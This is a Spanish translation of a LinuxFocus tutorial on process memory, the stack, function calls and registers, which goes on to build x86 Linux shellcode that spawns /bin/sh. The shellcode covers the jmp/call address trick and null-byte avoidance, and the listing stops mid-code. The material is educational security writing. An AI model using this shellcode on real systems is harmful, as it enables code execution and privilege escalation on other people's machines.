[LinuxFocus-icon]
Hogar  |  Mapa  |  Indice  |  Busqueda

Noticias | Arca | Enlaces | Sobre LF
Este documento está disponible en los siguientes idiomas: English  Castellano  Deutsch  Francais  Nederlands  Russian  Turkce  Korean  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
por Frédéric Raynal, Christophe Blaess, Christophe Grenier
<pappy(at)users.sourceforge.net, ccb(at)club-internet.fr, grenier(at)nef.esiea.fr>

Sobre el autor:

Christophe Blaess es un ingeniero en aeronáutica independiente. Es un aficionado a Linux y mucho de su trabajo lo hace en este sistema.Coordina la traduccion de las páginas del manual que se publican en el Linux Documentation Project.

Christophe Grenier es un estudiante del 5to. año en ESIEA, donde también trabaja como administrador de sistemas. Es un apasionado de la seguridad en cómputo.

Frédéric Raynal ha usado Linux por muchos años porque no contamina, no usa hormonas, ni GMO , tampoco grasa animal ... solamente sudor y trucos.



Taducido al español por:
Victor Manuel Campos Campos <victor_inmx(at)yahoo.com.mx>

Contenidos:

 

Evitando agujeros de seguridad al desarrollar una aplicación - Parte 2: memoria, pila y funciones, código shell

article illustration

Resumen:

Esta serie de artículos tratan de enfatizar los principales agujeros de seguridad que pueden aparecer dentro de las aplicaciones. Muestra maneras de evitar estos agujeros cambiando un poco los hábitos de desarrollo.

Este artículo se enfoca en la organización y de la memoria, y explica la relación entre una función y la memoria. La última sección muestra cómo construir shellcode.



 

Introducción

En nuestro artículo anterior analizamos los agujeros de seguridad mas simples, los basados en la ejecución de comandos externos. Este artículo y el siguiente muestran un tipo de ataque mas amplio, el desbordamiento del buffer. Primero estudiaremos la estructura en memoria de una aplicación en ejecución, y luego escribiremos una pieza de código mínima que permita arrancar un shell  (shellcode).  

Memory layout

 

¿Qué es un programa?

Supongamos que un programa es un conjunto de instrucciones, expresado en código máquina (independientemente del lenguaje usado para escribirlo) que comunmente llamamos un binario o binary. Al compilarse para generar el archivo binario, el programa fuente contiene variables, constantes e  instrucciones. Esta sección presenta la distribución de la memoria de las diferentes partes del binario.  

Las diferentes áreas

Para entender lo que sucede mientras se ejecuta un binario, echémos un vistazo a la organización de la memoria. Recae en diferentes áreas:
memory layout

Generalmente esto no es todo, pero solamente nos enfocamos en las partes que son mas importantes para este artículo.

La orden size -A file --radix 16 devuelve el tamaño de cada área reservada al compilar. De ahí obtenemos sus direcciones de memoria (también puede usarse la orden objdump para obtener esta información). Aquí está la salida de size para un binario llamado "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8
El área de texto contiene las instrucciones del programa. Esta área es de solo-lectura. Se comparte entre cada proceso que ejecuta el mismo binario. Al intentar escribir en esta área se genera un error segmentation violation .

Antes de explicar las otras áreas, recordemos algunas cosas acerca de variables en C. Las variables global son usadas en el programa completo mientras que las variables locales son usadas solamente dentro de la función donde son declaradas. Las variables static tienen un tamaño conocido dependiendo del tipo con que son declaradas. Los tipos pueden ser char, int, double, pointers, etc. En una máquina tipo PC, un apuntador representa una dirección entera de 32 bits dentro de la memoria. Obviamente, el tamaño del área apuntada se desconoce durante la compilación. Una variable dynamic representa un área de memoria explícitamente reservada - realmente es un apuntador que apunta a una dirección de memoria reservada. Las variables global/local, static/dynamic pueden combinarse sin problemas.

Regresemos a la organización de la memoria para un proceso dado. El área de data almacena los datos estáticos globales inicializados (el valor es proporcionado en el momento de la compilación), mientras que el segmento  bss contiene los datos globales no inicializados. Estas áreas se reservan en el momento de la compilación dado que su tamaño se define de acuerdo con los objetos que contienen.

¿Qué hay acerca de variables dinámicas y locales? Se agrupan en un área de memoria reservada para la ejecución del programa (user stack frame). Dado que las funciones pueden invocarse recursivamente, no se conoce con anticipación el número de instacias de una variable  local. Al crearse serán colocadas en la pila o stack. Esta pila se encuentra hasta arriba de las direcciones mas altas dentro del espacio de direcciones del usuario, y trabaja de acuerdo con un modelo LIFO (Last In, First Out). El fondo del área del marco del usuario o user frame se usa para la colocación de variables dinámicas. A esta área se le llama heap : contiene las áreas de memoria direccionadas por apuntadores y variables dinámicas. Al declararse, un apuntador es una variable de 32 bits, ya sea en BSS o en la pila, y no apunta a alguna dirección válida. Cuando un proceso obtiene memoria (i.e. usando malloc) la dirección del primer byte de esa memoria (también un número de 32 bits) es colocado en el apuntador.  

Ejemplo detallado

El siguiente ejemplo ilustra la distribución de la variable en memoria:
/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c) 
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}
El depurador  gdb confirma todo esto.
>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)
Pongamos un punto de rompimiento (breakpoint) en la función f() y ejecutemos el programa hasta este punto :
(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }
Ahora podemos ver el lugar de las diferentes variables.
1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065
La orden en  1 (print &index) muestra la dirección de memoria para la variable global index. La segunda instrucción (info) proporciona el símbolo asociado a esta dirección y el lugar en la memoria donde puede ser encontrado : index, una variable estática global inicializada esta almacenada en el área data.

Las instrucciones 3 y 4 confirman que la variable estática no inicializada nothing puede ser encontrada en el segmento BSS.

La línea 5 despliega str ... de hecho el contenido de la variable str, o sea la dirección 0x80495a8. La instrucción 6 muestra que no se ha definido una variable en esta dirección. La orden  7 nos permite obtener la dirección de la variable str  y la orden 8 indica que puede ser encontrada en el segmento BSS.

En la 9, los 4 bytes desplegados corresponden al contenido de la memoria en la dirección 0x804959c : es una dirección reservada dentroi del  heap. El contenido de la 10 muestra nuestra cadena "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e
Las variables locales c e i estan colocadas en la pila.

Observamos que el tamaño devuelto por la orden size para las diferentes áreas no corresponde con lo que esperabamos al seguir nuestro programa. La razón es que aparecen otras variables diferentes declaradas en bibliotecas al ejecutar el programa (variables tipo info bajo gdb para generalizar).  

La pila (stack) y el montón (heap)

Cada vez que se llama a una función, debe crearse un nuevo ambiente dentro de la memoria para las variables locales y los parámetros de la función (aquí ambiente significa todos los elementos qeue aparecen mientras se ejecuta una función : sus argumentos, sus variables locales, su dirección de regreso en la pila de ejecución... este no es el ambiente para las variables shell que mencionamos en el artículo anterior). El registro %esp (extended stack pointer) contiene la dirección de la parte mas alta de la pila, que esta en el fondo de nuestra representación, pero seguiremos llamandole la parte alta para completar la analogía con una pila de objetos reales, y apunta al último elemento agragado a la pila; dependiendo de la arquitectura, este registro puede apuntar algunas veces a al primer espacio libre en la pila.

La dirección de una variable local dentro de la pila podría expresarse como un relativo a  %esp. Sin embargo, siempre se estan agregando o quitando elementos a la pila, entonces el offeset de cada variable necesitaría ser reajustado y eso es muy ineficiente. El uso de un segundo apuntador permite mejorar eso : %ebp (extended base pointer) contiene la dirección de inicio del ambiente de la función actual. Así, es suficiente con expresar el offset relacionado con este registro. Permanece constante mientras se ejecuta la función. Ahora es fácil encontrar los parámetros y variables locales dentro de las funciones.

La unidad básica de la pila es la palabra o word : en CPU's i386 es de 32 bits, es decir 4 bytes. Esto es diferente en otras arquitecturas. En CPU's Alpha una palabra es de 64 bits. La pila solamente maneja palabras, lo que significa que cada variable colocada usa el mismo tamaño de palabra. Veremos esto con mas detalle en la descripción de una función prolog. El despliegue del contenido de la variable str usando gdb en el ejemplo anterior lo ilustra. la orden gdbx despliega una palabra completa de 32 bits (se lee de izquierda a derecha ya que es una representación little endian).

La pila es generalmente manipulada con solo dos instrucciones de cpu :

 

Los registros

¿Qué son exactamente los registros? Pueden verse como cajones que contienen solamente una palabera, mientras que la memoria esta hecha de una serie de palabras. Cada vez que se coloca un nuevo valor en un registro, se pierde el valor anterior. Los registros permiten comunicación directa entre memoria y CPU.

La primera 'e' que aparece en el nombre de los registros significa "extended" e indica la evolución entre las viejas arquitecturas de 16 bits y las actuales de 32 bits.

Los registros pueden dividirse en 4 categorías :

  1. registros generales : %eax, %ebx, %ecx and %edx usados para manipular datos;
  2. registros de segmento : 16bit %cs, %ds, %esx and %ss, contienen la primera parte de una dirección de memoria;
  3. regsitros de offset : indican un offset relacionado con un registro de segmento :
  4. registros especiales : son usados únicamente por el CPU.
Nota: todo lo dicho aquí acerca de registros es orientado a x86; alpha, sparc, etc tienen registros con nombres diferentes pero con funciones similares.  

Las funciones

 

Introducción

Esta sección presenta el comportamiento de un programa desde su llamada hasta su finalización. Durante esta sección usaremos el siguiente ejemplo :
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}
El propósito de esta sección es explicar el comportamiento de las funciones de arriba tomando en cuenta la pila y los registros. Algunosa ataques tratan de cambiar la manera en que se ejecuta un programa. Para entenderlos, es útil conocer lo que sucede normalmente.

La ejecución de una función se divide en tres pasos :

  1. el prólogo (prolog) : al iniciar una función, ya se preparó el escenario, guardando el estado de la pila antes de iniciar la función y reservando la memoria necesaria para ejecutarla;
  2. el llamado a la función (call) : cuando se llama a una función, sus parámetros se colocan en la pila y se guarda el apuntador de instrucción (IP) para permitir que la ejecución de la instrucción continúe a partir del lugar correcto cuando haya concluido la ejecución de la función;
  3. el regreso de la función (return) : dejar las cosas como estaban antes de llamar a la función.
 

El prólogo

Una función siempre empieza con las instrucciones :
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program
Estas tres instrucciones constituyen lo que se conoce como el prólogo (prolog). El  diagrama 1 detalla la manera en que trabaja la función de prolog toto() explicando las partes de los registros %ebp and %esp  :
 
prolog Inicialmente, %ebp apunta en la memoria a cualquier dirección X. %esp está mas abajo en la pila, en la dirección Y y apunta a la última entrada de la pila. Al iniciar una función, se debe salvar el "ambiente actual", es decir %ebp. Dado que se coloca %ebp dentro de la pila, %esp se decrementa por una palabra de memoria.
environment Esta segunda instrucción permite construir un nuevo "ambiente", colocando a  %ebp en la cima de la pila. Entonces %ebp y %esp apuntan a la misma palabra de memoria que contiene la dirección del ambiente previo.
stack space for local variables Ahora tiene que reservarse el espacio de pila para las variables locales. El arreglo de caracteres es definido con 5 elementos y necesita  5 bytes (un char es un byte). Sin embargo la pila solo maneja words, y solo puede reservar múltiplos de un word (1 word, 2 words, 3 words, ...). Para almacenar 5 bytes en el caso de un word de 4 bytes, se deben usar 8 bytes (es decir 2 words). La parte en gris podría usarse, aún cuando realmente no es parte de la cadena. El entero k usa 4 bytes. Este espacio es reservado decrementando 0xc (12 in hexadecimal) al valor de  %esp . Las variables locales usan  8+4=12 bytes (i.e. 3 words).
Diag. 1 : prólogo de una función

Además del mecanismo mismo, lo importante a recordar aquí es la posición de las variables locales : las variables locales tienen un offset negativo en relación con %ebp. La instrucción i=0 en la función main() ilustra esto. El código de ensamblador (cf. debajo) usa direccionamiento indirecto para accesar a la variable  i :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

El hexadecimal 0xfffffffc representa el entero -4. La notación indica colocar el valor 0 en la variable que se encuentra a "-4 bytes" en relación con el registro %ebp. i es la primera y única variable en la función main(), por tanto su dirección está 4 bytes (i.e. tamaño entero) "debajo" del registro %ebp.
   

La llamada

De igual forma que el prólogo de una función prepara su ambiente, la llamada a una función le permite a esta función recibir sus argumentos, y una vez concluida, regresar a la función que la llamó.

Como ejemplo, tomemos la llamada a toto(1, 2).
 

argument on stack Antes de llamar a una función, se almacenan en la pila los argumentos que necesita. En nuesro ejemplo, los dos enteros constante 1 y 2 se almacenan en la pila primero, comenzando con el último. El registro %eip contiene la dirección de la siguiente instrucción a ejecutar, en este caso la llamada a la función.
call Al ejecutar la instrucción call, %eip toma el valor de la dirección de la siguiente instrucción que se encuentra 5 bytes después (call es una instrucción de 5 byte - cada instrucción no usa el mismo espacio, dependiendo del CPU). Entonces call guarda la dirección contenida en %eip para poder regresar a la ejecución después de correr la función. Este "respaldo" se hace con una instrucción implícita que guarda el registro en la pila :
    push %eip
   
El valor dado a call como un argumento corresponde a a dirección de la primera instrucción del prólogo de la función toto(). Entonces esta dirección es copiada a %eip, así se convierte en la siguiente instrucción a ejecutar.
Diag. 2 : Llamada a función

Una vez que estamos en el cuerpo de la función, sus argumentos y la dirección de regreso tienen un offset positivo en relación a %ebp, ya que la siguiente instrucción coloca a este registro en la cima de la pila. La instrucción j=0 en la función toto() ilustra esto. El código Ensamblador otra vez usa direccionamiento indirecto para accesar a j :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

El hexadecimal 0xc representa el entero +12. La notación indica colocar el valor 0 en la variable que se encuentra "+12 bytes" en relación al registro %ebp. j es el segundo argumento de la función y se encuentra 12 bytes "arriba" del registro %ebp (4 para el respaldo del apuntador de instrucción, 4 para el primer argumento y 4 para el segundo argumento - cf. el primer diagrama en la sección regreso)
   

El regreso

La salida de una función se hace en dos pasos. Primero debe limpiarse el ambiente creado para la función (i.e. poniendo %ebp y %eip como estaban antes de la llamada a la función). Una vez hecho esto, se debe checar la pila para obtener información relacionada con la función de la que estamos saliendo.

El primer paso se hace dentro de la función con las instrucciones :

leave
ret
La siguiente se realiza dentro de la función donde se hizo la llamada y consiste en limpiar de la pila los argumentos de la función llamada.

Tomemos el ejemplo anterior de la función toto().
 

initial situation Aquí describimos la situación inicial antes de la llamada y el prólogo. Antes de la llamada, , %ebp estaba en la dirección  X y %esp en la dirección Y . >A partir de ahí colocamos en la pila los argumentos de la función, guradammos %eip y %ebp y reservamos algo de espacio para nuestras variables locales. La siguiente instrucción ejecutada será leave.
leave La instrucción leave es equivalente a la secuencia : 
    mov ebp esp
    pop ebp
   
La primera regresa a  %esp y %ebp al mismo lugar en la pila. La segunda coloca la cima de la pila en el registro %ebp. Con solamente una instrucción  (leave), la pila está como habría estado sin el prólogo.
restore La instrucción ret restaura %eip de tal manera que la ejecución de la función que hizo la llamada, inicia de nuevo donde debería, es decir después de la función que estamos terminando. Por esto, es suficiente con tomar el contenido de la cima de la pila y colocarlo en  %eip

Aún no estamos en la situación inicial ya que los argumentos de la función todavía estan en la pila. La siguiente instrucción será quitarlos, representada con su dirección Z+5 en %eip (notemos que el direccionamiento de instrucción se incrementa, al contrario de lo que sucede con la pila).

stacking of parameters La colocación de parámetros en la pila se hace en la función que hace la llamada, lo mismo sucede con la remoción de ellos de la pila. Esto se ilustra en el diagrama opuesto con el separador entre las instrucciones en la función llamaday el add 0x8, %esp en la función que la llama. Esta instrucción regresa a la cima de la pila tantos bytes como parámetros usados por la función toto(). Los registros %ebp y %esp estan ahora en la situación que estaban antes de la llamada. Por otro lado, el regsitro de instrucción %eip se movió hacia arriba.
Diag. 3 : Regreso de la función
 

Desensamblado

gdb permite obtener el código Ensamblador correspondiente a las funciones main() y toto() :
>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from 
printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret    

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
Las instrucciones sin color corresponden a las instrucciones de nuestro programa, como asignaciones para instancias.  

Creando un código shell

En algunos casos es posible actuar sobre el contenido de la pila de proceso, sobreescribiendo la dirección de regreso de una fucnión y haciendo que la aplicación ejecute algún código arbitrario. Es especialmente interesante para un cracker si la aplicación se ejecuta bajo una ID diferente de la del usuario (Colocando programa o demonio-UID). Este tipo de error es particularmente peligroso si una aplicación como un lector de documentos es arrancado por algún otro usuario. El famoso error del Acrobat Reader, donde un documento modificado era capaz de generar un sobreflujo del buffer. También ocurre en servicios de red (ie : imap).

En artículos posteriores hablaremos de mecanismos usados para la ejecución de instrucciones. Aquí iniciamos estudiando el código mismo, el que queremos ejecutar desde la aplicación principal. La solución mas simple es con un pedazo de código que corra un shell. Entonces el lector puede realizar otras acciones como cambiar los permisos del archivo /etc/passwd. Por razones que mas adelante resultarán obvias, este programa debe hacerse en lenguaje Ensamblador. Este tipo de programa pequeño que se usa para ejecutar un shell se conoce como código shell o shellcode.

Los ejemplos mencionados estan inspirados en el articulo de Aleph One' "Smashing the Stack for Fun and Profit" del número 49 de la revista Phrack.  

Con lenguaje C

El propósito de un shellcode es ejecutar un shell. El siguiente programa C hace esto :
/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}
Entre el conjunto de funciones capaces de llamar a un shell, hay muchas razones que recomiendan el usro de execve(). Primero, es una verdadera llamada a sistema, a diferencia de las otras funciones de la familia exec(), que son en realidad funciones de la biblioteca GlibC construidas a partir de execve(). Una llamada a sistema se hace mediante una interrupción. Basta con definir los registros y sus contenidos para obtener un pequeño código Ensamblador efectivo.

Aún mas, si execve() tiene éxito, el programa que hace la llamada (en este caso la aplicación principal) es sustituido por el código ejecutable del nuevo programa e inicia su ejecución. Cuando la llamada a execve()falla, continua la ejecución del programa. En nuestro ejemplo, el código fue insertado en la mitad de la aplicación atacada. Continuar con la ejecución no tendría sentido e incluso podría ser desastroso. Por tanto, la ejecución debe terminar tan pronto como sea posible. Una sentencia return (0) permite salir de un programa solamente cuando es llamada desde la función  main(), lo cuál no ocurre aquí. Entonces debemos forzar la terminación mediante la función exit().

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}
De hecho, exit() es otra función de la biblioteca que envuelve a la llamada al sistema _exit(). Un nuevo cambio nos lleva aún mas cerca del sistema :
/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
Ahora, es momento de comparar nuestro programa con su equivalente Ensamblador.  

Llamadas de Ensamblador

Usaremos gcc y gdb para obtener las instrucciones Ensamblador correspondientes a nuestro pequeño programa. to get the Assembly instructions corresponding to our small program. Compilaremos shellcode3.c con la opción de depuración (-g) e integraremos dentro del programa mismo las funciones normalmente encontradas en bibliotecas compartidas con la opción --static. Ahora tenemos la información necesaria para entender la manera en que trabajan las llamadas a sistema _exexve() y _exit().
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Luego, con gdb, buscamos nuestras funciones equivalentes en Ensamblador. Esto es para Linux en plataforma Intel (i386 y posteriores).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
Le pedimos a gdb que liste el código Ensamblador, más particularmente la función main().
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop    
End of assembler dump.
(gdb)
Las llamadas a funciones en las direcciones 0x804818b y 0x8048192 invocan a las subrutinas de la biblioteca de C que contienen las llamadas reales al sistema. Note que la instrucción 0x804817c : mov $0x8071ea8,%edx llena el registro %edx con un valor que parece una dirección. Examinemos el contenido de la memoria de esta dirección, desplegándola como una cadena :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
Ahora sabemos dónde está la cadena.Echémos un vistazo a el listado de desensamblado de las funciones execve() y _exit() :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 
<__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave  
0x804d9f3 <__execve+71>: ret    
End of assembler dump.
(gdb) disassemble _exit   
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
La llamada real al kernel se hace mediante la interrupción 0x80, en la dirección 0x804d9d0 para execve() y en 0x804d99b para _exit(). Este punto es común para varias llamadas al sistema, así que la distinción se hace con el contenido del registro %eax. Respecto a execve(), tiene el valor 0x0B, mientras que _exit() tiene el 0x01.
 
parameters of the execve() function
Diag. 4 : parámetros de la función execve()

El análisis de las instrucciones de estas funciones en Ensamblador nos proporcionan los parámetros que usan :

Ahora necesitamos la cadena "/bin/sh", un apuntador a esta cadena y un apuntador NULL (para los argumentos dado que no tenemos alguno  y para el ambiente dado que tampoco definimos alguno). Podemos ver una posible representación de datos antes de la llamada a execve(). Al construir un arreglo con un apuntador a la cadena /bin/sh seguida por un apuntador NULL , el registro %ebx apuntará a la cadena, el registro %ecx al arreglo completo, y el registro %edx al segundo elemento del arreglo (NULL). Esto se muestra en diag. 5.
 
data
Diag. 5 : representación de los datos relativos a los registros
 

Localizando el código shell dentro de la memoria

El código shell generalmente se inserta dentro de un programa vulnerable através de un argumento de línea de comando, una variable de ambiente o una cadena tecleada. De cualquier manera, cuande se crea el código shell no se conoce la dirección que usará. Sin embargo, debemos conocer la dirección de la cadena "/bin/sh". Un pequeño truco nos permite obtenerla.

Cuando se llama a una subrutina con la instrucción call, el CPU almacena la dirección de regreso en la pila, que es la dirección que sigue inmediatamente a esta insrucción call (ver arriba). Generalmente el paso siguiente es almacenar el estado de la pila (especialemente el registro %ebp con la instrucción push %ebp). Para obtener la dirección de regreso al arrancar a subrutina, basta con sacar el elemento de la cima de la pila mediante la instrucción pop. Por supuesto, entonces se almacena la cadena "/bin/sh" inmediatamente después de la instrucción call para permitir que el "prólogo hecho en casa" proporcione la requerida dirección de la cadena. Es decir :

 beginning_of_shellcode:
    jmp subroutine_call
        
 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ... 
 subroutine_call:
    call subroutine
    /bin/sh
Por supuesto, la subrutina no es real: la llamada a execve() tiene éxito, y el proceso es sustituido por un shell, o falla y la función _exit() termina el programa. El registro %esi proporciona la dirección de la cadena "/bin/sh". Entonces, es suficiente para construir el arreglo poniéndolo exactamente después de la cadena : su primer elemento (en %esi+8, la longitud de /bin/sh + un byte null) contiene el valor del registro %esi, y su segundo elemento en %esi+12 una dirección null (32 bit). El código se verá así :
    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)
El diagrama 6 muestra el área de datos :
 
data area
Diag. 6 : arreglo de datos
 

El probema de los bytes null

Con frecuencia las funciones vulnerables con rutinas de manipulación de cadenas como strcpy(). Para insertar el código en medio de una aplicación destino, el código shell tiene que copiarse como una cadena. Sin embargo estas rutinas de copiado se detienen tan pronto como encuentran un caracter null. Por lo que nuestro código no debe contenerlos. Con algunos trucos estaremos prevenidos de escribir bytes null. Por ejemplo, la instrucción
    movl $0x00, 0x0c(%esi)
será sustituida con
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)
Este ejemplo muestra el uso de un byte null. Sin embargo las traducción de algunas instrucciones a hexadecimal pueden revelar bytes null. Por ejemplo, para hacer la distinción entre la llamada a sistema _exit(0) y otras, el valor del registro %eax es 1, como se ve en

0x804d996 <_exit+6>: mov $0x1,%eax

Convertida a decimal, esta cadena se convierte en :

 b8 01 00 00 00          mov    $0x1,%eax
Debe evitarse su uso. De hecho, el truco es inicializar el registro %eax con un valor de 0 e incrementarlo.

Por otro lado, la cadena "/bin/sh" debe terminar con un byte null. Puede escribirse al crear el código shell, pero, dependiendo del mecanismo usado para insertarlo en un programa, este byte null puede no estar presente en el final de la aplicación. Es mejor agregar uno de esta manera :

    /* movb solamente trabaja sobre un byte */
    /* esta instrucción es equivalente a */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)
 

Construyendo el código shell

Ahora ya tenemos todo para crear nuestro código shell :
/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subrutina:
    /* obtenemos la dirección de /bin/sh*/
        popl %esi
    /* la escribimos como primer elemento del arreglo */
        movl %esi,0x8(%esi)
    /* escribimos NULL como segundo elemento del arreglo */
